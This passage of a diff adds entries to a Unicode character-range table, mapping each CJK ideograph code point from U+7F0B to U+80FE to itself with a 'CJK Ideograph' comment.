+ ["\u7F0B", "\u7F0B"], /* CJK Ideograph */
+ ["\u7F0C", "\u7F0C"], /* CJK Ideograph */
+ ["\u7F0D", "\u7F0D"], /* CJK Ideograph */
+ ["\u7F0E", "\u7F0E"], /* CJK Ideograph */
+ ["\u7F0F", "\u7F0F"], /* CJK Ideograph */
+ ["\u7F10", "\u7F10"], /* CJK Ideograph */
+ ["\u7F11", "\u7F11"], /* CJK Ideograph */
+ ["\u7F12", "\u7F12"], /* CJK Ideograph */
+ ["\u7F13", "\u7F13"], /* CJK Ideograph */
+ ["\u7F14", "\u7F14"], /* CJK Ideograph */
+ ["\u7F15", "\u7F15"], /* CJK Ideograph */
+ ["\u7F16", "\u7F16"], /* CJK Ideograph */
+ ["\u7F17", "\u7F17"], /* CJK Ideograph */
+ ["\u7F18", "\u7F18"], /* CJK Ideograph */
+ ["\u7F19", "\u7F19"], /* CJK Ideograph */
+ ["\u7F1A", "\u7F1A"], /* CJK Ideograph */
+ ["\u7F1B", "\u7F1B"], /* CJK Ideograph */
+ ["\u7F1C", "\u7F1C"], /* CJK Ideograph */
+ ["\u7F1D", "\u7F1D"], /* CJK Ideograph */
+ ["\u7F1E", "\u7F1E"], /* CJK Ideograph */
+ ["\u7F1F", "\u7F1F"], /* CJK Ideograph */
+ ["\u7F20", "\u7F20"], /* CJK Ideograph */
+ ["\u7F21", "\u7F21"], /* CJK Ideograph */
+ ["\u7F22", "\u7F22"], /* CJK Ideograph */
+ ["\u7F23", "\u7F23"], /* CJK Ideograph */
+ ["\u7F24", "\u7F24"], /* CJK Ideograph */
+ ["\u7F25", "\u7F25"], /* CJK Ideograph */
+ ["\u7F26", "\u7F26"], /* CJK Ideograph */
+ ["\u7F27", "\u7F27"], /* CJK Ideograph */
+ ["\u7F28", "\u7F28"], /* CJK Ideograph */
+ ["\u7F29", "\u7F29"], /* CJK Ideograph */
+ ["\u7F2A", "\u7F2A"], /* CJK Ideograph */
+ ["\u7F2B", "\u7F2B"], /* CJK Ideograph */
+ ["\u7F2C", "\u7F2C"], /* CJK Ideograph */
+ ["\u7F2D", "\u7F2D"], /* CJK Ideograph */
+ ["\u7F2E", "\u7F2E"], /* CJK Ideograph */
+ ["\u7F2F", "\u7F2F"], /* CJK Ideograph */
+ ["\u7F30", "\u7F30"], /* CJK Ideograph */
+ ["\u7F31", "\u7F31"], /* CJK Ideograph */
+ ["\u7F32", "\u7F32"], /* CJK Ideograph */
+ ["\u7F33", "\u7F33"], /* CJK Ideograph */
+ ["\u7F34", "\u7F34"], /* CJK Ideograph */
+ ["\u7F35", "\u7F35"], /* CJK Ideograph */
+ ["\u7F36", "\u7F36"], /* CJK Ideograph */
+ ["\u7F37", "\u7F37"], /* CJK Ideograph */
+ ["\u7F38", "\u7F38"], /* CJK Ideograph */
+ ["\u7F39", "\u7F39"], /* CJK Ideograph */
+ ["\u7F3A", "\u7F3A"], /* CJK Ideograph */
+ ["\u7F3B", "\u7F3B"], /* CJK Ideograph */
+ ["\u7F3C", "\u7F3C"], /* CJK Ideograph */
+ ["\u7F3D", "\u7F3D"], /* CJK Ideograph */
+ ["\u7F3E", "\u7F3E"], /* CJK Ideograph */
+ ["\u7F3F", "\u7F3F"], /* CJK Ideograph */
+ ["\u7F40", "\u7F40"], /* CJK Ideograph */
+ ["\u7F41", "\u7F41"], /* CJK Ideograph */
+ ["\u7F42", "\u7F42"], /* CJK Ideograph */
+ ["\u7F43", "\u7F43"], /* CJK Ideograph */
+ ["\u7F44", "\u7F44"], /* CJK Ideograph */
+ ["\u7F45", "\u7F45"], /* CJK Ideograph */
+ ["\u7F46", "\u7F46"], /* CJK Ideograph */
+ ["\u7F47", "\u7F47"], /* CJK Ideograph */
+ ["\u7F48", "\u7F48"], /* CJK Ideograph */
+ ["\u7F49", "\u7F49"], /* CJK Ideograph */
+ ["\u7F4A", "\u7F4A"], /* CJK Ideograph */
+ ["\u7F4B", "\u7F4B"], /* CJK Ideograph */
+ ["\u7F4C", "\u7F4C"], /* CJK Ideograph */
+ ["\u7F4D", "\u7F4D"], /* CJK Ideograph */
+ ["\u7F4E", "\u7F4E"], /* CJK Ideograph */
+ ["\u7F4F", "\u7F4F"], /* CJK Ideograph */
+ ["\u7F50", "\u7F50"], /* CJK Ideograph */
+ ["\u7F51", "\u7F51"], /* CJK Ideograph */
+ ["\u7F52", "\u7F52"], /* CJK Ideograph */
+ ["\u7F53", "\u7F53"], /* CJK Ideograph */
+ ["\u7F54", "\u7F54"], /* CJK Ideograph */
+ ["\u7F55", "\u7F55"], /* CJK Ideograph */
+ ["\u7F56", "\u7F56"], /* CJK Ideograph */
+ ["\u7F57", "\u7F57"], /* CJK Ideograph */
+ ["\u7F58", "\u7F58"], /* CJK Ideograph */
+ ["\u7F59", "\u7F59"], /* CJK Ideograph */
+ ["\u7F5A", "\u7F5A"], /* CJK Ideograph */
+ ["\u7F5B", "\u7F5B"], /* CJK Ideograph */
+ ["\u7F5C", "\u7F5C"], /* CJK Ideograph */
+ ["\u7F5D", "\u7F5D"], /* CJK Ideograph */
+ ["\u7F5E", "\u7F5E"], /* CJK Ideograph */
+ ["\u7F5F", "\u7F5F"], /* CJK Ideograph */
+ ["\u7F60", "\u7F60"], /* CJK Ideograph */
+ ["\u7F61", "\u7F61"], /* CJK Ideograph */
+ ["\u7F62", "\u7F62"], /* CJK Ideograph */
+ ["\u7F63", "\u7F63"], /* CJK Ideograph */
+ ["\u7F64", "\u7F64"], /* CJK Ideograph */
+ ["\u7F65", "\u7F65"], /* CJK Ideograph */
+ ["\u7F66", "\u7F66"], /* CJK Ideograph */
+ ["\u7F67", "\u7F67"], /* CJK Ideograph */
+ ["\u7F68", "\u7F68"], /* CJK Ideograph */
+ ["\u7F69", "\u7F69"], /* CJK Ideograph */
+ ["\u7F6A", "\u7F6A"], /* CJK Ideograph */
+ ["\u7F6B", "\u7F6B"], /* CJK Ideograph */
+ ["\u7F6C", "\u7F6C"], /* CJK Ideograph */
+ ["\u7F6D", "\u7F6D"], /* CJK Ideograph */
+ ["\u7F6E", "\u7F6E"], /* CJK Ideograph */
+ ["\u7F6F", "\u7F6F"], /* CJK Ideograph */
+ ["\u7F70", "\u7F70"], /* CJK Ideograph */
+ ["\u7F71", "\u7F71"], /* CJK Ideograph */
+ ["\u7F72", "\u7F72"], /* CJK Ideograph */
+ ["\u7F73", "\u7F73"], /* CJK Ideograph */
+ ["\u7F74", "\u7F74"], /* CJK Ideograph */
+ ["\u7F75", "\u7F75"], /* CJK Ideograph */
+ ["\u7F76", "\u7F76"], /* CJK Ideograph */
+ ["\u7F77", "\u7F77"], /* CJK Ideograph */
+ ["\u7F78", "\u7F78"], /* CJK Ideograph */
+ ["\u7F79", "\u7F79"], /* CJK Ideograph */
+ ["\u7F7A", "\u7F7A"], /* CJK Ideograph */
+ ["\u7F7B", "\u7F7B"], /* CJK Ideograph */
+ ["\u7F7C", "\u7F7C"], /* CJK Ideograph */
+ ["\u7F7D", "\u7F7D"], /* CJK Ideograph */
+ ["\u7F7E", "\u7F7E"], /* CJK Ideograph */
+ ["\u7F7F", "\u7F7F"], /* CJK Ideograph */
+ ["\u7F80", "\u7F80"], /* CJK Ideograph */
+ ["\u7F81", "\u7F81"], /* CJK Ideograph */
+ ["\u7F82", "\u7F82"], /* CJK Ideograph */
+ ["\u7F83", "\u7F83"], /* CJK Ideograph */
+ ["\u7F84", "\u7F84"], /* CJK Ideograph */
+ ["\u7F85", "\u7F85"], /* CJK Ideograph */
+ ["\u7F86", "\u7F86"], /* CJK Ideograph */
+ ["\u7F87", "\u7F87"], /* CJK Ideograph */
+ ["\u7F88", "\u7F88"], /* CJK Ideograph */
+ ["\u7F89", "\u7F89"], /* CJK Ideograph */
+ ["\u7F8A", "\u7F8A"], /* CJK Ideograph */
+ ["\u7F8B", "\u7F8B"], /* CJK Ideograph */
+ ["\u7F8C", "\u7F8C"], /* CJK Ideograph */
+ ["\u7F8D", "\u7F8D"], /* CJK Ideograph */
+ ["\u7F8E", "\u7F8E"], /* CJK Ideograph */
+ ["\u7F8F", "\u7F8F"], /* CJK Ideograph */
+ ["\u7F90", "\u7F90"], /* CJK Ideograph */
+ ["\u7F91", "\u7F91"], /* CJK Ideograph */
+ ["\u7F92", "\u7F92"], /* CJK Ideograph */
+ ["\u7F93", "\u7F93"], /* CJK Ideograph */
+ ["\u7F94", "\u7F94"], /* CJK Ideograph */
+ ["\u7F95", "\u7F95"], /* CJK Ideograph */
+ ["\u7F96", "\u7F96"], /* CJK Ideograph */
+ ["\u7F97", "\u7F97"], /* CJK Ideograph */
+ ["\u7F98", "\u7F98"], /* CJK Ideograph */
+ ["\u7F99", "\u7F99"], /* CJK Ideograph */
+ ["\u7F9A", "\u7F9A"], /* CJK Ideograph */
+ ["\u7F9B", "\u7F9B"], /* CJK Ideograph */
+ ["\u7F9C", "\u7F9C"], /* CJK Ideograph */
+ ["\u7F9D", "\u7F9D"], /* CJK Ideograph */
+ ["\u7F9E", "\u7F9E"], /* CJK Ideograph */
+ ["\u7F9F", "\u7F9F"], /* CJK Ideograph */
+ ["\u7FA0", "\u7FA0"], /* CJK Ideograph */
+ ["\u7FA1", "\u7FA1"], /* CJK Ideograph */
+ ["\u7FA2", "\u7FA2"], /* CJK Ideograph */
+ ["\u7FA3", "\u7FA3"], /* CJK Ideograph */
+ ["\u7FA4", "\u7FA4"], /* CJK Ideograph */
+ ["\u7FA5", "\u7FA5"], /* CJK Ideograph */
+ ["\u7FA6", "\u7FA6"], /* CJK Ideograph */
+ ["\u7FA7", "\u7FA7"], /* CJK Ideograph */
+ ["\u7FA8", "\u7FA8"], /* CJK Ideograph */
+ ["\u7FA9", "\u7FA9"], /* CJK Ideograph */
+ ["\u7FAA", "\u7FAA"], /* CJK Ideograph */
+ ["\u7FAB", "\u7FAB"], /* CJK Ideograph */
+ ["\u7FAC", "\u7FAC"], /* CJK Ideograph */
+ ["\u7FAD", "\u7FAD"], /* CJK Ideograph */
+ ["\u7FAE", "\u7FAE"], /* CJK Ideograph */
+ ["\u7FAF", "\u7FAF"], /* CJK Ideograph */
+ ["\u7FB0", "\u7FB0"], /* CJK Ideograph */
+ ["\u7FB1", "\u7FB1"], /* CJK Ideograph */
+ ["\u7FB2", "\u7FB2"], /* CJK Ideograph */
+ ["\u7FB3", "\u7FB3"], /* CJK Ideograph */
+ ["\u7FB4", "\u7FB4"], /* CJK Ideograph */
+ ["\u7FB5", "\u7FB5"], /* CJK Ideograph */
+ ["\u7FB6", "\u7FB6"], /* CJK Ideograph */
+ ["\u7FB7", "\u7FB7"], /* CJK Ideograph */
+ ["\u7FB8", "\u7FB8"], /* CJK Ideograph */
+ ["\u7FB9", "\u7FB9"], /* CJK Ideograph */
+ ["\u7FBA", "\u7FBA"], /* CJK Ideograph */
+ ["\u7FBB", "\u7FBB"], /* CJK Ideograph */
+ ["\u7FBC", "\u7FBC"], /* CJK Ideograph */
+ ["\u7FBD", "\u7FBD"], /* CJK Ideograph */
+ ["\u7FBE", "\u7FBE"], /* CJK Ideograph */
+ ["\u7FBF", "\u7FBF"], /* CJK Ideograph */
+ ["\u7FC0", "\u7FC0"], /* CJK Ideograph */
+ ["\u7FC1", "\u7FC1"], /* CJK Ideograph */
+ ["\u7FC2", "\u7FC2"], /* CJK Ideograph */
+ ["\u7FC3", "\u7FC3"], /* CJK Ideograph */
+ ["\u7FC4", "\u7FC4"], /* CJK Ideograph */
+ ["\u7FC5", "\u7FC5"], /* CJK Ideograph */
+ ["\u7FC6", "\u7FC6"], /* CJK Ideograph */
+ ["\u7FC7", "\u7FC7"], /* CJK Ideograph */
+ ["\u7FC8", "\u7FC8"], /* CJK Ideograph */
+ ["\u7FC9", "\u7FC9"], /* CJK Ideograph */
+ ["\u7FCA", "\u7FCA"], /* CJK Ideograph */
+ ["\u7FCB", "\u7FCB"], /* CJK Ideograph */
+ ["\u7FCC", "\u7FCC"], /* CJK Ideograph */
+ ["\u7FCD", "\u7FCD"], /* CJK Ideograph */
+ ["\u7FCE", "\u7FCE"], /* CJK Ideograph */
+ ["\u7FCF", "\u7FCF"], /* CJK Ideograph */
+ ["\u7FD0", "\u7FD0"], /* CJK Ideograph */
+ ["\u7FD1", "\u7FD1"], /* CJK Ideograph */
+ ["\u7FD2", "\u7FD2"], /* CJK Ideograph */
+ ["\u7FD3", "\u7FD3"], /* CJK Ideograph */
+ ["\u7FD4", "\u7FD4"], /* CJK Ideograph */
+ ["\u7FD5", "\u7FD5"], /* CJK Ideograph */
+ ["\u7FD6", "\u7FD6"], /* CJK Ideograph */
+ ["\u7FD7", "\u7FD7"], /* CJK Ideograph */
+ ["\u7FD8", "\u7FD8"], /* CJK Ideograph */
+ ["\u7FD9", "\u7FD9"], /* CJK Ideograph */
+ ["\u7FDA", "\u7FDA"], /* CJK Ideograph */
+ ["\u7FDB", "\u7FDB"], /* CJK Ideograph */
+ ["\u7FDC", "\u7FDC"], /* CJK Ideograph */
+ ["\u7FDD", "\u7FDD"], /* CJK Ideograph */
+ ["\u7FDE", "\u7FDE"], /* CJK Ideograph */
+ ["\u7FDF", "\u7FDF"], /* CJK Ideograph */
+ ["\u7FE0", "\u7FE0"], /* CJK Ideograph */
+ ["\u7FE1", "\u7FE1"], /* CJK Ideograph */
+ ["\u7FE2", "\u7FE2"], /* CJK Ideograph */
+ ["\u7FE3", "\u7FE3"], /* CJK Ideograph */
+ ["\u7FE4", "\u7FE4"], /* CJK Ideograph */
+ ["\u7FE5", "\u7FE5"], /* CJK Ideograph */
+ ["\u7FE6", "\u7FE6"], /* CJK Ideograph */
+ ["\u7FE7", "\u7FE7"], /* CJK Ideograph */
+ ["\u7FE8", "\u7FE8"], /* CJK Ideograph */
+ ["\u7FE9", "\u7FE9"], /* CJK Ideograph */
+ ["\u7FEA", "\u7FEA"], /* CJK Ideograph */
+ ["\u7FEB", "\u7FEB"], /* CJK Ideograph */
+ ["\u7FEC", "\u7FEC"], /* CJK Ideograph */
+ ["\u7FED", "\u7FED"], /* CJK Ideograph */
+ ["\u7FEE", "\u7FEE"], /* CJK Ideograph */
+ ["\u7FEF", "\u7FEF"], /* CJK Ideograph */
+ ["\u7FF0", "\u7FF0"], /* CJK Ideograph */
+ ["\u7FF1", "\u7FF1"], /* CJK Ideograph */
+ ["\u7FF2", "\u7FF2"], /* CJK Ideograph */
+ ["\u7FF3", "\u7FF3"], /* CJK Ideograph */
+ ["\u7FF4", "\u7FF4"], /* CJK Ideograph */
+ ["\u7FF5", "\u7FF5"], /* CJK Ideograph */
+ ["\u7FF6", "\u7FF6"], /* CJK Ideograph */
+ ["\u7FF7", "\u7FF7"], /* CJK Ideograph */
+ ["\u7FF8", "\u7FF8"], /* CJK Ideograph */
+ ["\u7FF9", "\u7FF9"], /* CJK Ideograph */
+ ["\u7FFA", "\u7FFA"], /* CJK Ideograph */
+ ["\u7FFB", "\u7FFB"], /* CJK Ideograph */
+ ["\u7FFC", "\u7FFC"], /* CJK Ideograph */
+ ["\u7FFD", "\u7FFD"], /* CJK Ideograph */
+ ["\u7FFE", "\u7FFE"], /* CJK Ideograph */
+ ["\u7FFF", "\u7FFF"], /* CJK Ideograph */
+ ["\u8000", "\u8000"], /* CJK Ideograph */
+ ["\u8001", "\u8001"], /* CJK Ideograph */
+ ["\u8002", "\u8002"], /* CJK Ideograph */
+ ["\u8003", "\u8003"], /* CJK Ideograph */
+ ["\u8004", "\u8004"], /* CJK Ideograph */
+ ["\u8005", "\u8005"], /* CJK Ideograph */
+ ["\u8006", "\u8006"], /* CJK Ideograph */
+ ["\u8007", "\u8007"], /* CJK Ideograph */
+ ["\u8008", "\u8008"], /* CJK Ideograph */
+ ["\u8009", "\u8009"], /* CJK Ideograph */
+ ["\u800A", "\u800A"], /* CJK Ideograph */
+ ["\u800B", "\u800B"], /* CJK Ideograph */
+ ["\u800C", "\u800C"], /* CJK Ideograph */
+ ["\u800D", "\u800D"], /* CJK Ideograph */
+ ["\u800E", "\u800E"], /* CJK Ideograph */
+ ["\u800F", "\u800F"], /* CJK Ideograph */
+ ["\u8010", "\u8010"], /* CJK Ideograph */
+ ["\u8011", "\u8011"], /* CJK Ideograph */
+ ["\u8012", "\u8012"], /* CJK Ideograph */
+ ["\u8013", "\u8013"], /* CJK Ideograph */
+ ["\u8014", "\u8014"], /* CJK Ideograph */
+ ["\u8015", "\u8015"], /* CJK Ideograph */
+ ["\u8016", "\u8016"], /* CJK Ideograph */
+ ["\u8017", "\u8017"], /* CJK Ideograph */
+ ["\u8018", "\u8018"], /* CJK Ideograph */
+ ["\u8019", "\u8019"], /* CJK Ideograph */
+ ["\u801A", "\u801A"], /* CJK Ideograph */
+ ["\u801B", "\u801B"], /* CJK Ideograph */
+ ["\u801C", "\u801C"], /* CJK Ideograph */
+ ["\u801D", "\u801D"], /* CJK Ideograph */
+ ["\u801E", "\u801E"], /* CJK Ideograph */
+ ["\u801F", "\u801F"], /* CJK Ideograph */
+ ["\u8020", "\u8020"], /* CJK Ideograph */
+ ["\u8021", "\u8021"], /* CJK Ideograph */
+ ["\u8022", "\u8022"], /* CJK Ideograph */
+ ["\u8023", "\u8023"], /* CJK Ideograph */
+ ["\u8024", "\u8024"], /* CJK Ideograph */
+ ["\u8025", "\u8025"], /* CJK Ideograph */
+ ["\u8026", "\u8026"], /* CJK Ideograph */
+ ["\u8027", "\u8027"], /* CJK Ideograph */
+ ["\u8028", "\u8028"], /* CJK Ideograph */
+ ["\u8029", "\u8029"], /* CJK Ideograph */
+ ["\u802A", "\u802A"], /* CJK Ideograph */
+ ["\u802B", "\u802B"], /* CJK Ideograph */
+ ["\u802C", "\u802C"], /* CJK Ideograph */
+ ["\u802D", "\u802D"], /* CJK Ideograph */
+ ["\u802E", "\u802E"], /* CJK Ideograph */
+ ["\u802F", "\u802F"], /* CJK Ideograph */
+ ["\u8030", "\u8030"], /* CJK Ideograph */
+ ["\u8031", "\u8031"], /* CJK Ideograph */
+ ["\u8032", "\u8032"], /* CJK Ideograph */
+ ["\u8033", "\u8033"], /* CJK Ideograph */
+ ["\u8034", "\u8034"], /* CJK Ideograph */
+ ["\u8035", "\u8035"], /* CJK Ideograph */
+ ["\u8036", "\u8036"], /* CJK Ideograph */
+ ["\u8037", "\u8037"], /* CJK Ideograph */
+ ["\u8038", "\u8038"], /* CJK Ideograph */
+ ["\u8039", "\u8039"], /* CJK Ideograph */
+ ["\u803A", "\u803A"], /* CJK Ideograph */
+ ["\u803B", "\u803B"], /* CJK Ideograph */
+ ["\u803C", "\u803C"], /* CJK Ideograph */
+ ["\u803D", "\u803D"], /* CJK Ideograph */
+ ["\u803E", "\u803E"], /* CJK Ideograph */
+ ["\u803F", "\u803F"], /* CJK Ideograph */
+ ["\u8040", "\u8040"], /* CJK Ideograph */
+ ["\u8041", "\u8041"], /* CJK Ideograph */
+ ["\u8042", "\u8042"], /* CJK Ideograph */
+ ["\u8043", "\u8043"], /* CJK Ideograph */
+ ["\u8044", "\u8044"], /* CJK Ideograph */
+ ["\u8045", "\u8045"], /* CJK Ideograph */
+ ["\u8046", "\u8046"], /* CJK Ideograph */
+ ["\u8047", "\u8047"], /* CJK Ideograph */
+ ["\u8048", "\u8048"], /* CJK Ideograph */
+ ["\u8049", "\u8049"], /* CJK Ideograph */
+ ["\u804A", "\u804A"], /* CJK Ideograph */
+ ["\u804B", "\u804B"], /* CJK Ideograph */
+ ["\u804C", "\u804C"], /* CJK Ideograph */
+ ["\u804D", "\u804D"], /* CJK Ideograph */
+ ["\u804E", "\u804E"], /* CJK Ideograph */
+ ["\u804F", "\u804F"], /* CJK Ideograph */
+ ["\u8050", "\u8050"], /* CJK Ideograph */
+ ["\u8051", "\u8051"], /* CJK Ideograph */
+ ["\u8052", "\u8052"], /* CJK Ideograph */
+ ["\u8053", "\u8053"], /* CJK Ideograph */
+ ["\u8054", "\u8054"], /* CJK Ideograph */
+ ["\u8055", "\u8055"], /* CJK Ideograph */
+ ["\u8056", "\u8056"], /* CJK Ideograph */
+ ["\u8057", "\u8057"], /* CJK Ideograph */
+ ["\u8058", "\u8058"], /* CJK Ideograph */
+ ["\u8059", "\u8059"], /* CJK Ideograph */
+ ["\u805A", "\u805A"], /* CJK Ideograph */
+ ["\u805B", "\u805B"], /* CJK Ideograph */
+ ["\u805C", "\u805C"], /* CJK Ideograph */
+ ["\u805D", "\u805D"], /* CJK Ideograph */
+ ["\u805E", "\u805E"], /* CJK Ideograph */
+ ["\u805F", "\u805F"], /* CJK Ideograph */
+ ["\u8060", "\u8060"], /* CJK Ideograph */
+ ["\u8061", "\u8061"], /* CJK Ideograph */
+ ["\u8062", "\u8062"], /* CJK Ideograph */
+ ["\u8063", "\u8063"], /* CJK Ideograph */
+ ["\u8064", "\u8064"], /* CJK Ideograph */
+ ["\u8065", "\u8065"], /* CJK Ideograph */
+ ["\u8066", "\u8066"], /* CJK Ideograph */
+ ["\u8067", "\u8067"], /* CJK Ideograph */
+ ["\u8068", "\u8068"], /* CJK Ideograph */
+ ["\u8069", "\u8069"], /* CJK Ideograph */
+ ["\u806A", "\u806A"], /* CJK Ideograph */
+ ["\u806B", "\u806B"], /* CJK Ideograph */
+ ["\u806C", "\u806C"], /* CJK Ideograph */
+ ["\u806D", "\u806D"], /* CJK Ideograph */
+ ["\u806E", "\u806E"], /* CJK Ideograph */
+ ["\u806F", "\u806F"], /* CJK Ideograph */
+ ["\u8070", "\u8070"], /* CJK Ideograph */
+ ["\u8071", "\u8071"], /* CJK Ideograph */
+ ["\u8072", "\u8072"], /* CJK Ideograph */
+ ["\u8073", "\u8073"], /* CJK Ideograph */
+ ["\u8074", "\u8074"], /* CJK Ideograph */
+ ["\u8075", "\u8075"], /* CJK Ideograph */
+ ["\u8076", "\u8076"], /* CJK Ideograph */
+ ["\u8077", "\u8077"], /* CJK Ideograph */
+ ["\u8078", "\u8078"], /* CJK Ideograph */
+ ["\u8079", "\u8079"], /* CJK Ideograph */
+ ["\u807A", "\u807A"], /* CJK Ideograph */
+ ["\u807B", "\u807B"], /* CJK Ideograph */
+ ["\u807C", "\u807C"], /* CJK Ideograph */
+ ["\u807D", "\u807D"], /* CJK Ideograph */
+ ["\u807E", "\u807E"], /* CJK Ideograph */
+ ["\u807F", "\u807F"], /* CJK Ideograph */
+ ["\u8080", "\u8080"], /* CJK Ideograph */
+ ["\u8081", "\u8081"], /* CJK Ideograph */
+ ["\u8082", "\u8082"], /* CJK Ideograph */
+ ["\u8083", "\u8083"], /* CJK Ideograph */
+ ["\u8084", "\u8084"], /* CJK Ideograph */
+ ["\u8085", "\u8085"], /* CJK Ideograph */
+ ["\u8086", "\u8086"], /* CJK Ideograph */
+ ["\u8087", "\u8087"], /* CJK Ideograph */
+ ["\u8088", "\u8088"], /* CJK Ideograph */
+ ["\u8089", "\u8089"], /* CJK Ideograph */
+ ["\u808A", "\u808A"], /* CJK Ideograph */
+ ["\u808B", "\u808B"], /* CJK Ideograph */
+ ["\u808C", "\u808C"], /* CJK Ideograph */
+ ["\u808D", "\u808D"], /* CJK Ideograph */
+ ["\u808E", "\u808E"], /* CJK Ideograph */
+ ["\u808F", "\u808F"], /* CJK Ideograph */
+ ["\u8090", "\u8090"], /* CJK Ideograph */
+ ["\u8091", "\u8091"], /* CJK Ideograph */
+ ["\u8092", "\u8092"], /* CJK Ideograph */
+ ["\u8093", "\u8093"], /* CJK Ideograph */
+ ["\u8094", "\u8094"], /* CJK Ideograph */
+ ["\u8095", "\u8095"], /* CJK Ideograph */
+ ["\u8096", "\u8096"], /* CJK Ideograph */
+ ["\u8097", "\u8097"], /* CJK Ideograph */
+ ["\u8098", "\u8098"], /* CJK Ideograph */
+ ["\u8099", "\u8099"], /* CJK Ideograph */
+ ["\u809A", "\u809A"], /* CJK Ideograph */
+ ["\u809B", "\u809B"], /* CJK Ideograph */
+ ["\u809C", "\u809C"], /* CJK Ideograph */
+ ["\u809D", "\u809D"], /* CJK Ideograph */
+ ["\u809E", "\u809E"], /* CJK Ideograph */
+ ["\u809F", "\u809F"], /* CJK Ideograph */
+ ["\u80A0", "\u80A0"], /* CJK Ideograph */
+ ["\u80A1", "\u80A1"], /* CJK Ideograph */
+ ["\u80A2", "\u80A2"], /* CJK Ideograph */
+ ["\u80A3", "\u80A3"], /* CJK Ideograph */
+ ["\u80A4", "\u80A4"], /* CJK Ideograph */
+ ["\u80A5", "\u80A5"], /* CJK Ideograph */
+ ["\u80A6", "\u80A6"], /* CJK Ideograph */
+ ["\u80A7", "\u80A7"], /* CJK Ideograph */
+ ["\u80A8", "\u80A8"], /* CJK Ideograph */
+ ["\u80A9", "\u80A9"], /* CJK Ideograph */
+ ["\u80AA", "\u80AA"], /* CJK Ideograph */
+ ["\u80AB", "\u80AB"], /* CJK Ideograph */
+ ["\u80AC", "\u80AC"], /* CJK Ideograph */
+ ["\u80AD", "\u80AD"], /* CJK Ideograph */
+ ["\u80AE", "\u80AE"], /* CJK Ideograph */
+ ["\u80AF", "\u80AF"], /* CJK Ideograph */
+ ["\u80B0", "\u80B0"], /* CJK Ideograph */
+ ["\u80B1", "\u80B1"], /* CJK Ideograph */
+ ["\u80B2", "\u80B2"], /* CJK Ideograph */
+ ["\u80B3", "\u80B3"], /* CJK Ideograph */
+ ["\u80B4", "\u80B4"], /* CJK Ideograph */
+ ["\u80B5", "\u80B5"], /* CJK Ideograph */
+ ["\u80B6", "\u80B6"], /* CJK Ideograph */
+ ["\u80B7", "\u80B7"], /* CJK Ideograph */
+ ["\u80B8", "\u80B8"], /* CJK Ideograph */
+ ["\u80B9", "\u80B9"], /* CJK Ideograph */
+ ["\u80BA", "\u80BA"], /* CJK Ideograph */
+ ["\u80BB", "\u80BB"], /* CJK Ideograph */
+ ["\u80BC", "\u80BC"], /* CJK Ideograph */
+ ["\u80BD", "\u80BD"], /* CJK Ideograph */
+ ["\u80BE", "\u80BE"], /* CJK Ideograph */
+ ["\u80BF", "\u80BF"], /* CJK Ideograph */
+ ["\u80C0", "\u80C0"], /* CJK Ideograph */
+ ["\u80C1", "\u80C1"], /* CJK Ideograph */
+ ["\u80C2", "\u80C2"], /* CJK Ideograph */
+ ["\u80C3", "\u80C3"], /* CJK Ideograph */
+ ["\u80C4", "\u80C4"], /* CJK Ideograph */
+ ["\u80C5", "\u80C5"], /* CJK Ideograph */
+ ["\u80C6", "\u80C6"], /* CJK Ideograph */
+ ["\u80C7", "\u80C7"], /* CJK Ideograph */
+ ["\u80C8", "\u80C8"], /* CJK Ideograph */
+ ["\u80C9", "\u80C9"], /* CJK Ideograph */
+ ["\u80CA", "\u80CA"], /* CJK Ideograph */
+ ["\u80CB", "\u80CB"], /* CJK Ideograph */
+ ["\u80CC", "\u80CC"], /* CJK Ideograph */
+ ["\u80CD", "\u80CD"], /* CJK Ideograph */
+ ["\u80CE", "\u80CE"], /* CJK Ideograph */
+ ["\u80CF", "\u80CF"], /* CJK Ideograph */
+ ["\u80D0", "\u80D0"], /* CJK Ideograph */
+ ["\u80D1", "\u80D1"], /* CJK Ideograph */
+ ["\u80D2", "\u80D2"], /* CJK Ideograph */
+ ["\u80D3", "\u80D3"], /* CJK Ideograph */
+ ["\u80D4", "\u80D4"], /* CJK Ideograph */
+ ["\u80D5", "\u80D5"], /* CJK Ideograph */
+ ["\u80D6", "\u80D6"], /* CJK Ideograph */
+ ["\u80D7", "\u80D7"], /* CJK Ideograph */
+ ["\u80D8", "\u80D8"], /* CJK Ideograph */
+ ["\u80D9", "\u80D9"], /* CJK Ideograph */
+ ["\u80DA", "\u80DA"], /* CJK Ideograph */
+ ["\u80DB", "\u80DB"], /* CJK Ideograph */
+ ["\u80DC", "\u80DC"], /* CJK Ideograph */
+ ["\u80DD", "\u80DD"], /* CJK Ideograph */
+ ["\u80DE", "\u80DE"], /* CJK Ideograph */
+ ["\u80DF", "\u80DF"], /* CJK Ideograph */
+ ["\u80E0", "\u80E0"], /* CJK Ideograph */
+ ["\u80E1", "\u80E1"], /* CJK Ideograph */
+ ["\u80E2", "\u80E2"], /* CJK Ideograph */
+ ["\u80E3", "\u80E3"], /* CJK Ideograph */
+ ["\u80E4", "\u80E4"], /* CJK Ideograph */
+ ["\u80E5", "\u80E5"], /* CJK Ideograph */
+ ["\u80E6", "\u80E6"], /* CJK Ideograph */
+ ["\u80E7", "\u80E7"], /* CJK Ideograph */
+ ["\u80E8", "\u80E8"], /* CJK Ideograph */
+ ["\u80E9", "\u80E9"], /* CJK Ideograph */
+ ["\u80EA", "\u80EA"], /* CJK Ideograph */
+ ["\u80EB", "\u80EB"], /* CJK Ideograph */
+ ["\u80EC", "\u80EC"], /* CJK Ideograph */
+ ["\u80ED", "\u80ED"], /* CJK Ideograph */
+ ["\u80EE", "\u80EE"], /* CJK Ideograph */
+ ["\u80EF", "\u80EF"], /* CJK Ideograph */
+ ["\u80F0", "\u80F0"], /* CJK Ideograph */
+ ["\u80F1", "\u80F1"], /* CJK Ideograph */
+ ["\u80F2", "\u80F2"], /* CJK Ideograph */
+ ["\u80F3", "\u80F3"], /* CJK Ideograph */
+ ["\u80F4", "\u80F4"], /* CJK Ideograph */
+ ["\u80F5", "\u80F5"], /* CJK Ideograph */
+ ["\u80F6", "\u80F6"], /* CJK Ideograph */
+ ["\u80F7", "\u80F7"], /* CJK Ideograph */
+ ["\u80F8", "\u80F8"], /* CJK Ideograph */
+ ["\u80F9", "\u80F9"], /* CJK Ideograph */
+ ["\u80FA", "\u80FA"], /* CJK Ideograph */
+ ["\u80FB", "\u80FB"], /* CJK Ideograph */
+ ["\u80FC", "\u80FC"], /* CJK Ideograph */
+ ["\u80FD", "\u80FD"], /* CJK Ideograph */
+ ["\u80FE", "\u80FE"], /* CJK Ideograph */
